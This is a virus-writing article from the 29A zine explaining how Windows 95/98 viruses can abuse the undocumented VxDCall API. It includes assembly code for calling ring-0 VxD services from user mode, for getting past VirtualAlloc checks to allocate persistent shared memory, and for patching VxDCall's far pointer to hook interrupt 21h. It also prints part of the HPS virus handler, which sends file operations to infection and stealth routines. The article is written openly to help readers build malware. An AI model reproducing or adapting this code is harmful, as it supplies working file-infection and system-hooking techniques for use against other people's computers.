Copy Link
Add to Bookmark
Report
29A Issue 03 02 05
The VxDCall backdoor by GriYo / 29A
-----------------------------------
Index:
1 - "USER MODE" and "SUPERVISOR MODE"
2 - "SUPERVISOR MODE" hacking
3 - The API VxDCall
4 - Win32 services exported by system VxD's
5 - KERNEL32.DLL and the interrupt 21h
6 - Interrupt 21h functions
7 - Allocating shared memory
8 - VxDCall hooking
9 - Last words
1 - "USER MODE" and "SUPERVISOR MODE"
-------------------------------------
Windows95/98 uses two of the four protection levels supported by the
i386 proccessor and its succesors:
- The ring-3 level, also called 'user mode', dedicated to user
applications. Only API services can be accessed trough this
privilege level.
- The ring-0 level is exclusively for the the kernel and is also
known as 'supervisor mode'. There are no restrictions at the
resources or services accessible trough this privilege level.
We all know that user applications are potential targets for viruses. If you
are going to write a PE file infector your code will be executed at 'user
mode', under the strict control of the operating system. Can the execution
escape from this privilege level?
2 - "SUPERVISOR MODE" hacking
-----------------------------
When an infected program is executed the virus code receives
control for the very first time. At this point we know that the virus is
working under 'user mode', far away from the 'supervisor mode'. To reach
ring-0 we have to use one of the below described methods:
- Try to exploit a vulnerability that can get us to ring-0 in a
illegal way. To learn more about this method I suggest you have a
look at viruses like Sexy, CIH or Padania. You can read more
about this specific technique in other articles in this issue of
29A.
- The virus can drop a VxD file that can either be dynamically
loaded or loaded the next time the computer reboots. This
technique has been exploited by alot of authors. To find
information on how to write viral VxD's you can read my article
"Virus oriented VxD writting tutorial", published in 29A issue 2.
- If you dont want to use your own VxD, you can use another VxD
which already is loaded. This is possible due to a API called
VxDCall. This API let us use a lot of services exported by system
VxD's to Win32. This article shows how to exploit this technique
for virus programming.
3 - The API VxDCall
-------------------
"... A VxD is really nothing more than a DLL that runs at the highest
privilege level of the processor (ring 0). Since VxD's runs at ring 0,
there's essentially nothing they can't do".
After I read this fragment in Matt Pietrek's book 'Windows95 System
Programming Secrets' I thought that VxD's might contain exported services, as
DLL's do. I knew that VxD's exported services to other VxD's but did they
export services to Win32?. If that was the case these services could be very
useful for virus programming, because they are similar to API's but is
running at ring-0.
After reading more at this subject I learned the answer to the above question.
Yes VxD's contains all kind of services that are exported to other
VxD's and Win32. The problem was now how to communicate with the VxD's at
ring-0 from ring-3, which the virus is at.
After a little more research, I found a API called DeviceIoControl.
This API allows a application to send/receive information to/from a VxD file.
I then did some testing and learned this wasn't the API I was looking for, as
DeviceIoControl doesn't allow the application to use services exported by
VxD's.
When I tried to find some information about how to call Win32 services inside
VxD's, all I could find was a reference. It seems to me like some poor attempt
to hide important information about the internals of the operating system.
The key to it all is a undocumented API, which lets us use a powerful
interface between ring-3 and ring-0. This API is called VxDCall and is
exported by KERNEL32.DLL, but wait! Dont browse KERNEL32 exported API names
because its not there. In order to drop more shadows on this Microsoft coders
decided to hide this API, exporting it only as ordinal, not as name.
If we look at KERNEL32.DLL, we'll find tons of calls to this API. In some
cases KERNEL32 code is just a wrapper between applications and VxD services.
The following piece of code shows how to call the service _PageFree, exported
by VMM.VXD to Win32:
push 00000000h
push dword ptr [allocated_addr]
push 0001000Ah
call dword ptr [a_VxDCall]
jmp init_error
The first two instruction push the parameters needed by _PageFree into the
stack. The 3rd instruction is part of the protocol used to call VxDCall.
The low-word is an index that indentifies the service we want to call. The
high-word indentifies the VxD containing that service. In this example
the codification is:
0001h = VMM.VXD
000Ah = _PageFree
If we debug a call to KERNEL32 VirtualFree API we will find that the code
just checks input parameters. Some lines ahead is a call to VMM _PageFree
service, wich do the dirty work.
Now lets see some of the services exported to Win32 by system VxD's. Just by
reading the name of the service you can imagine lots of ideas on how to
use them in virus writing.
4 - Win32 services exported by system VxD's
-------------------------------------------
Services exported by VMM.VXD:
00010000h PageReserve
00010001h PageCommit
00010002h PageDecommit
00010003h PagerRegister
00010004h PagerQuery
00010005h HeapAllocate
00010006h ContextCreate
00010007h ContextDestroy
00010008h PageAttach
00010009h PageFlush
0001000Ah PageFree
0001000Bh ContextSwitch
0001000Ch HeapReAllocate
0001000Dh PageModifyPermissions
0001000Eh PageQuery
0001000Fh GetCurrentContext
00010010h HeapFree
00010011h RegOpenKey
00010012h RegCreateKey
00010013h RegCloseKey
00010014h RegDeleteKey
00010015h RegSetValue
00010016h RegDeleteValue
00010017h RegQueryValue
00010018h RegEnumKey
00010019h RegEnumValue
0001001Ah RegQueryValueEx
0001001Bh RegSetValueEx
0001001Ch RegFlushKey
0001001Dh ???
0001001Eh GetDemandPageInfo
0001001Fh BlockOnID
00010020h SignalID
00010021h RegLoadKey
00010022h RegUnloadKey
00010023h RegSaveKey
00010024h RegRemapPreDefKey
00010025h PageChangePager
00010026h RegQueryMultipleValues
00010027h RegReplaceKey
Another VxD exporting services to Win32 is VWIN32.VXD. Some of this
services are:
002A0000 GetVersion
002A0001 Stuff VWIN32 code pointers into caller-supplied buffer
002A0002 Get system time
002A0003 Stuff code pointers from KERNEL32 into VWIN32's data area
002A0004 Block on some semaphore
002A0005 Calls Signal_Semaphore_No_Switch on some semaphore
002A0006 Calls VMM Create_Semaphore, and stuff into global var
002A0007 Calls VMM Destroy_Semaphore on semaphore created by 002A0006
002A0008 VWIN32_CreateThread (including allocating TDBX)
002A0009 VWIN32_Sleep
002A000A WakeThread
002A000B TerminateThread
002A000C Some sort of initialization function
002A000D _VWIN32_QueueUserApc
002A000E VWIN32_Initialize
002A000F _VWIN32_QueueKernelApc
002A0010 VWIN32_Int21Dispatch
002A0011 Calls IFSMgr_Win32DupHandle
002A0012 VWIN32_BlockThreadSetBit
002A0013 Adjust_Thread_Exec_Priority
002A0014 _VWIN32_Get_Thread_Context
002A0015 _VWIN32_Set_Thread_Context
002A0016 Read process memory
002A0017 Write process memory
002A0018 Calls VMCPD_Get_CR0_State
002A0019 Calls VMCPD_Set_CR0_State
002A001A SuspendThread
002A001B ResumeThread
002A001C ???
002A001D WaitCrst
002A001E WakeCrst
002A001F Something to do with loading/unloading VxD's
002A0020 WMCPD_Get_Version
002A0021 Set_Thread_Win32_Pri
002A0022 Calls Boost_With_Decay
002A0023 Calls Set_Inversion_Pri
002A0024 Calls Release_Inversion_Pri_ID
002A0025 Calls Release_Inversion_Pri
002A0026 Calls Attach_Thread_To_Group
002A0027 Calls Set_Thread_Static_Boost
002A0028 Calls Set_Group_Static_Boost
002A0029 VWIN32_Int31Dispatch
002A002A VWIN32_Int41Dispatch
002A002B VWIN32_BlockForTermination
002A002C TerminationHandler2
002A002D ???
002A002E dwBlockSingleWnod (WaitForSingleObject)
002A002F dwBlockMultipleWnod (WaitForMultipleObjects)
002A0030 VWIN32_SetEvent
002A0031 Something to do with delivering APC's
002A0032 ???
002A0033 InitUserAPCList
002A0034 ???
002A0035 Calls VMM Signal_Semaphore_No_Switch
002A0036 Calls System_Control (KERNEL32_INITIALIZED)
002A0037 VWIN32_CommonFaultPopup
002A0038 VWIN32_ForceCrsts
002A0039 ???
002A003A VWIN32_FreezeAllThreads
002A003B VWIN32_UnFreezeAllThreads
002A003C Calls IFS_Mgr_Ring0_FileIO
002A003D Calls Get_Initial_Thread_Handle, Attach_Thread_To_Group and
Boost_Thread_With_VM
002A003E VWIN32_ActivateTimeBiasSet
002A003F ModifyPagePermission (used by VirtualQueryEx)
002A0040 Used by VirtualQueryEx
002A0041 ForceLeaveCrst
002A0042 ForceEnterCrst
002A0043 Calls VMCPD_Set_Thread_Excpt_Type
002A0044 VTD_Get_Real_Time
002A0045 Calls System_Control (SET_DEVICE_FOCUS)
002A0046 Calls VWIN32_UnFreezeThread
002A0047 Calls VMM_Replace_Global_Environment
002A0048 Calls System_Control (KERNEL32_SHUTDOWN)
002A0049 ???
002A004A VW32_AddSysCrst
002A004B VW32_SetTimeOut
002A004C VW32_Cancel_Time_Out
002A004D ???
002A004E Something to do with setting and reflecting hotkeys
Notes:
Crst means Critical Section
APC means Asynchronous Procedure Call
VMCPD is the Virtual Math Coprocessor Device
IFSMgr is the Installable File System Manager
System_Control is the VMM.VXD ring 0 service that broadcasts
system control messages to VxD's.
5 - KERNEL32.DLL and the interrupt 21h
--------------------------------------
Look close at VWIN32 exported services. There is one called
VWIN32_Int21Dispatch. Its is a backdoor that allows Win32 to call the well
known interrupt 21h. Now search the KERNEL32 code and look for calls to
this service. Oh! There are hundreds! I though Microsoft said that Windows95
doesnt deppend on MsDos. Below is a example of how to call interrupt 21h using
that service:
my_int21h: push ecx
push eax
push 002A0010h
call dword ptr [ebp+a_VxDCall]
ret
I found the right way to call VWIN32_Int21hDispatch by looking at how KERNEL32
calls it. I learned that Windows uses interrupt 21h to perform tasks such as:
find, open, read, write, close, delete or rename files. By hooking all these
functions with VxDCall, we can effectively monitor file access.
6 - Interrupt 21h functions
---------------------------
This is a list of interrupt 21h functions for MS-DOS LFN (long file
name) extension. KERNEL32 uses these functions continiuosly.
0E00 Set default drive
1900 Get current drive
2A00 Get system date
2B00 Set system date
2C00 Get system time
2D00 Set system time
3600 Get disk free space
3D00 Open existing file for read only
3D02 Open existing file for read/write
3E00 Close file
3F00 Read file
4000 Write file
4200 Set current file position relative to start of file
4201 Set current file position relative to current position
4202 Set current file position relative to end of file
4400 IOCTL get device information
4401 IOCTL set device information
4408 IOCTL check if block device is removable
4409 IOCTL check if block device remote
440D IOCTL generic block device request
4B00 Exec program
4D00 Get return code
5000 Set current PSP
5700 Get file date/time
5701 Set file date/time
5704 Set extended file attributes
5900 Get extended error info
5C00 Lock file region
5C01 Unlock file region
5E00 Network functions
6800 Commit file
7139 LFN create directory
713A LFN remove directory
713B LFN change directory
7141 LFN delete file
7143 LFN get/set file attributes
7147 LFN get current directory
714E LFN find first file
714F LFN find next file
7156 LFN rename file
7160 LFN get canonical filename
716C LFN extended open/create
71A0 LFN get volume information
71A1 LFN find close
71A6 LFN get file info by handle
71A7 LFN file time to DOS time
The following example shows how to use these functions. This code will be
useful later in our virus.
;Move file pointer
;
;Entry: ebx = File handle
seek_here: ;Move pointer to position specified in edx
mov eax,edx
and eax,0FFFF0000h
shr eax,10h
mov ecx,eax
mov eax,00004200h
jmp short seek_now
seek_bof: ;Move pointer to beginning of file
mov eax,00004200h
jmp short do_seek
seek_eof: ;Move pointer to end of file
mov eax,00004202h
do_seek: xor edx,edx
xor ecx,ecx
seek_now: call my_int21h
jc exit_seek
and eax,0000FFFFh
shl edx,10h
or eax,edx
xor edx,edx
clc
exit_seek: ret
7 - Allocating shared memory
----------------------------
We can use the functions exported by VMM.VXD in the same way we
used with VWIN32.VXD. Lets have a look at the services used by VMM.VXD to
handle 'page-based' memory in Windows95.
_GetDemandPageInfo
_PageAttach
_PageCommit
_PageDecommit
_PageDecommit
_PageFlush
_PageFlush
_PageFree
_PageModifyPermisions
_PageQuery
_PageReserve
This services correspond with the ones in KERNEL32 APIs used for handling
'virtual memory'. In some cases that code at KERNEL32 just checks the entry
parameters and call the corresponding service in VMM.VXD.
We now how to allocate 'virtual memory' in Win32:
VirtualAlloc ( LPVOID lpAddress,
DWORD dwSize,
DWORD flAllocationType,
DWORD flProtect );
The VirtualAlloc function reserves or commits a region of pages in the
virtual address space of the calling process. The entry parameters are:
- lpAddress
Specifies the desired starting address of the region to
allocate. If this parameter is NULL, the system determines
where to allocate the region.
- dwSize
Specifies the size, in bytes, of the region. If the lpAddress
parameter is NULL, this value is rounded up to the next page
boundary.
- flAllocationType
Specifies the type of allocation. You can specify any
combination of the following flags:
MEM_COMMIT - Allocates physical storage in memory or in the
paging file on disk for the specified region of pages. An
attempt to commit an already committed page will not cause
the function to fail. This means that a range of committed
or decommitted pages can be committed without having to worry
about a failure.
MEM_RESERVE - Reserves a range of the process's virtual
address space without allocating any physical storage. The
reserved range cannot be used by any other allocation
operations (the malloc function, the LocalAlloc function, and
so on) until it is released. Reserved pages can be committed
in subsequent calls to the VirtualAlloc function.
- flProtect
Specifies the type of access protection. If the pages are
being committed, any one of the following flags can be
specified, along with the PAGE_GUARD and PAGE_NOCACHE
protection modifier flags, as desired:
PAGE_READONLY
PAGE_READWRITE
PAGE_EXECUTE
PAGE_EXECUTE_READ
PAGE_EXECUTE_READWRITE
PAGE_GUARD
PAGE_NOACCESS
PAGE_NOCACHE
Lets trace a call to VirtualAlloc with the debugger. We will see how this API
checks the entry parameters and then calls to the service _PageReserve in
VMM.VXD, using VxDCall. During the execution of VirtualAlloc API the call
will return with error in the folling cases:
- If dwSize specifies too much space.
- If lpAddress is an invalid address.
- If the undocumented flag MEM_SHARED was included.
- If the call to _PageReserve fails.
Although we know the existence of the flag MEM_SHARED, we cant use it due
to the checks performed by VirtualAlloc. In order to allocate a region of
pages into system shared memory we are going to bypass the calling protocol
and go straigh to _PageReserve. Here is an example:
push PC_WRITEABLE or PC_USER
push page_mem_size ;Size
push PR_SHARED
push 00010000h ;Call to _PageReserve
call dword ptr [ebp+a_VxDCall] ;...using VxDCall
cmp eax,0FFFFFFFFh ;Error?
je init_error
cmp eax,80000000h ;Into shared memory?
jb free_pages
mov dword ptr [ebp+mem_address],eax ;Save region address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 00000000h
push PD_ZEROINIT
push page_mem_size ;Size
shr eax,0Ch ;Page number
push eax
push 00010001h ;Call to _PageCommit
call dword ptr [ebp+a_VxDCall] ;...using VxDCall
or eax,eax
je free_pages
In the first call to VxDCall i used the service _PageReserve from VMM.VXD
(0001h = VMM.VXD and 0000h = _PageReserve). As first entry parameter we
specify the type of memory to allocate, using the following flags:
PC_FIXED Commit a region of locked memory. This
pages will stay locked along all the session.
PC_LOCKED Commit a regin of locked memory that can
be unlocked later.
PC_WRITEABLE Write access to the commited pages.
PC_USER This is a must if you want to access the
allocated pages from ring-3.
After this the routines pushes into stack the number of bytes to allocate.
The last parameter is the starting page for the allocated region, but you
can also specify one of the following flags:
PR_PRIVATE Reserve memory in the ring-3 privated area
for each application,
PR_SHARED Reserve memory in the ring-3 shared area.
PR_SYSTEM Reserve ring-0 memory.
By means of PR_SHARED flag our memory region will be allocated into shared
memory, and this area will be visible for all applications. This is important
if we plan to monitor all the calls suited by any application.
In case of error Page_Reserve will return 0FFFFFFFFh in eax register. If the
memory was allocated without problems eax is a pointer to it. Then we can
check if the pages was allocated at shared memory area, this is, above
80000000h.
Once the memory is allocated it's time to tell the operating system to
map that memory into physical memory. For this purpose is _PageCommit,
exported by VMM.
The first parameter are some flags similar to the ones used
in the call to _PageReserve. This time we specify PC_PRESENT to keep the
memory once the owner program terminates.
I use 0 as next parameter, i dont want to mess with 'PAGERS' and other
details of the memory managment, this is out of the purpose of this article.
Then we use PD_ZEROINIT to initialize allocated memory with zero's. The last
parameter specifies the number of pages to commit. In case of error the
call will return 0, and the virus have to free previously allocated pages:
free_pages: xor eax,eax
push eax
push dword ptr [ebp+mem_address]
push 0001000Ah
call dword ptr [ebp+a_VxDCall]
The work is done, now our virus can allocate a block of memory that will
stay there after the application terminates. The virus can copy its body
to this area and redirect some kernel functions to pass through our code
before or after being executed.
8 - VxDCall hooking
-------------------
Take the debugger and have a look at how the VxDCall function comunicates with
VxD's. You will find something like this:
mov eax,dword ptr [esp+00000004h]
pop dword ptr [esp]
call fword ptr cs:[BFFC9004]
This code loads eax with the identifier of the VxD containing the desired
service. After a stack fix everything is ready for jumping to the service
code. The call instruction will translate us to:
int 30h
Nice... Seems like the system is using interrupt 30h to jump into ring-0.
If you trace into the interrupt call you will fall somewhere inside VMM.VXD.
Now lets have a closer look at VxDCall code, soecially to the followin
instruction:
call fword ptr cs:[BFFC9004]
This instruction will translate the execution to the address stored into
cs:[BFFC9004]. This address points to the interrupt call. If we overwrite
this value with a pointer to our own handler we succesfully hooked VxDCall.
mov esi,dword ptr [ebp+a_VxDCall] ;VxDCall address
mov ecx,00000100h ;Explore 0100h bytes
trace_VxDCall: lodsb
cmp al,2Eh
jne trace_next
cmp word ptr [esi],1DFFh
je get_int30h
trace_next: loop trace_VxDCall
The code above follows the VxDCall API code looking for the following
sequence of byte:
2E FF 1D xx xx xx xx CALL FWORD PTR CS:[xxxxxxxx]
When the virus finds the call instruction it can extract the value there,
save it inside virus code and patch it to point to the viral handler.
cli
lodsw ;Skip FF 1D opcodes
lodsd ;Get ptr to INT 30h
push eax
mov esi,eax
mov edi,dword ptr [ebp+mem_address]
add edi,VxDCall_code-mem_base
mov ecx,00000006h
rep movsb
pop edi
mov eax,dword ptr [ebp+mem_address]
add eax,VxDCall_hook-mem_base
stosd
mov ax,cs ;Overwrite far ptr
stosw
sti
We stop interrupts before proceeding. Then take the address of xxxxxxxx and
we find a 'FWORD' that point to the int 30h instruction. 'FWORD' are six
bytes, the virus have to copy this bytes into a save buffer inside its body.
Finally we write the address of our handler, first the 32bits offset and
the segment next (remember that 'FWORD' is a 16:32 value). Turn on
interrupts, now the hook is active.
Below is a portion of the HPS virus, the interrupt handler:
VxDCall_hook: pushad
call mem_delta ;Get "in-memory"
mem_delta: pop ebp ;delta offset
sub ebp,offset mem_delta
cmp dword ptr [ebp+hook_status],"BUSY" ;Dont process our
je exit_hook ;own calls
cmp eax,002A0010h ;VWIN32 VxD int 21h?
jne exit_hook
mov eax,dword ptr [esp+0000002Ch]
cmp ax,2A00h ;Get system time?
je tsr_check
cmp ax,3D00h ;Open file read?
je infection_edx
cmp ax,3D01h ;Open file
je infection_edx ;read/write?
cmp ax,7143h ;X-Get/set attrib?
je infection_edx
cmp ax,714Eh ;LFN find first file
je stealth
cmp ax,714Fh ;LFN find next file
je stealth
cmp ax,7156h ;LFN rename file?
je infection_edx
cmp ax,716Ch ;LFN extended open?
je infection_esi
cmp ax,71A8h ;Generate short name?
je infection_esi
exit_hook: popad
do_far_jmp: ;Do a jmp fword ptr cs:[xxxxxxxx] into original code
db 2Eh,0FFh,2Dh
ptr_location dd 00000000h
Some readers will notice that the virus sets a global variable at the
beginning of the handler code. This variable works as semaphore and it's
purpose is to avoid the virus from proccesing its own calls to VxDCall.
Next, the virus checks if the requested service is VWIN32_Int21Dispatch.
If so the function number specified by the caller is read from the stack.
The virus looks for interesting functions and perform the corresponding
tasks.
Finally the execution is passed to the original VxDCall function, which
address we saved before.
9 - Last words
--------------
This is just another backdoor in Windows95 security, that is also
present under Windows98. I wrote the HPS virus to show how to exploit this.
HPS shows how to trick VxDCall to infect files and perform its stealth
routine. The virus also uses VxDCall to 'bypass' KERNEL32 memory managment,
fooling all checks.